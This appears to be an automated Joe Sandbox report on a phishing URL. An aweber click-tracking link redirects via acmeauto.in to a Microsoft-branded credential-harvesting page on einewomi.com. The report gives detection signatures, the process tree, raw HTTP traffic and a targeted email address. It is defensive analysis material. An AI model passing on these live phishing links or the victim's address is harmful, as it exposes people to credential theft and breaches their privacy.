Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=

Overview

General Information

Sample URL:	https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=
Analysis ID:	1431360
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 5272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2384,i,13496683094245167062,5294417639727405623,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
4.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE	Matcher: Template: microsoft matched
Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE#	Matcher: Template: microsoft matched

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: Number of links: 0

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://jcq36.einewomi.com/3lwz8fh/#Mbnanderson@presidio.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: Title: zuXAWygsFM does not match URL

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE	HTTP Parser: Invalid link: Terms of use
Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE	HTTP Parser: Invalid link: Privacy & cookies

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: <input type="password" .../> found

Source: https://jcq36.einewomi.com/3lwz8fh/#Mbnanderson@presidio.com	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal	HTTP Parser: No favicon
Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE	HTTP Parser: No favicon

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: No <meta name="author".. found

Source: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49742 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg HTTP/1.1Host: clicks.aweber.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp HTTP/1.1Host: acmeauto.inConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp/ HTTP/1.1Host: acmeauto.inConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /3lwz8fh/ HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://acmeauto.in/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799105f5a5e09f7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/3lwz8fh/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR0cTB3V0VubU9PdVF3cW1PejE0VVE9PSIsInZhbHVlIjoiQ01kcFZyaU9XYURQUkpDcFoxZTdMN00wZFVYREJVYzFSN1pEM28xOVBsY1VUS0R3RHZ2ZFp6Umt4ajlvN2xubkNJQ3p3T3M5ZWpMYmdGVS91VUxGbEthNW9WYTdnWUxlbzArQ2l6bloxU1RlYU8xaitZT0JldVpCeXB1Q3hEclMiLCJtYWMiOiIyYjAxMTYxZDQ0YTJkNjMzY2NmODNmNDBhYjkwMTM3MGRjNDZiNzkyMWY3N2ExMTM3NmI2OTg5NDQ2Yzk1MjY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhmZU5mZmpLdlIxTVF6blZCWGZJUlE9PSIsInZhbHVlIjoiRTB0ZmJ3V2hLR2lRNHBYd3FWY2xLNWtma0xZcWVaOEFlWnp1VktwdnBYYWlBNkpaWC9zay9uMUMxckMxVWZIWkFUQnBZNmhyL29jVjBvb0FtQjZPTkw1YUcrMGxRU3J1VlIrQmY4VEgvQklHSzEzV2J5a0JxMno4UVNhaDJucDkiLCJtYWMiOiI4NzMyMGEyODMxMGM2OTIzMTM3ZTdhNWZlZWUzMDM5NzY5NzA4YjEyNjYyY2E4ZjI1NjYxZDI5Njc4NmY3YjNlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8799105f5a5e09f7/1713992859511/9be289fbebc6b4b3a22797ac778fe8b1969b1f35e8eb77ad6b7438e982c1b885/yeAuYz4NAjBXHTy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8799105f5a5e09f7/1713992859511/WtT2jcbnXI7j1g2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8799105f5a5e09f7/1713992859511/WtT2jcbnXI7j1g2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3lwz8fh/ HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://jcq36.einewomi.com/3lwz8fh/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ild0RVFoNHJ0bkJGbFlUNFYvNEgvZlE9PSIsInZhbHVlIjoibWZPQnlDRTVMUGU1RVN2aWZuM0RWdS9BbWxhMVN5b2VIcVVHUnR0UUovT1p2aXp4YnRSd1FxZXpIeDVGcU42VzlJVnkydFNhQ2VWeVJFaklsNnc1dEFZK0psM2xCdzVLOWFpWjh4bjZXQklRRG9wdkFwOVNoQW5OUElFNFd0b0IiLCJtYWMiOiIzYWEzZmVjOGIxOTdiODYxYTYwOTQxOTFjNTIzNWU0NWFjOGFmZDdiYmVhNGUwNTdlMjQxOTZjMmZlNDI2NDczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZZY21UNGNDUGhXeGJjTXVUQkM0MEE9PSIsInZhbHVlIjoiYWd5cnVuL2djbXAzaUxON3pMMi8za2FOWXhnZnU2cmpHZVlRWmFadmZSb3NrY09aSHB2L1pneWdwU1RXYmN4dVQvMzBjMnhjaUtNeFhVZjU3ZGhJUlVENlhxZy9XZ3NVT1BDUDlWMzVBNFRSWXNzdjEzZmZMMU5SMkJEU1NzY1EiLCJtYWMiOiJhOTllMGYyNTM3OTEzYjk1NzIxZmJkY2FjNjk5NzllZmY2ZWUwOGY4Y2NlYzQyY2QxNWY1YTUwOTIxZWYyZTNhIiwidGFnIjoiIn0%3D
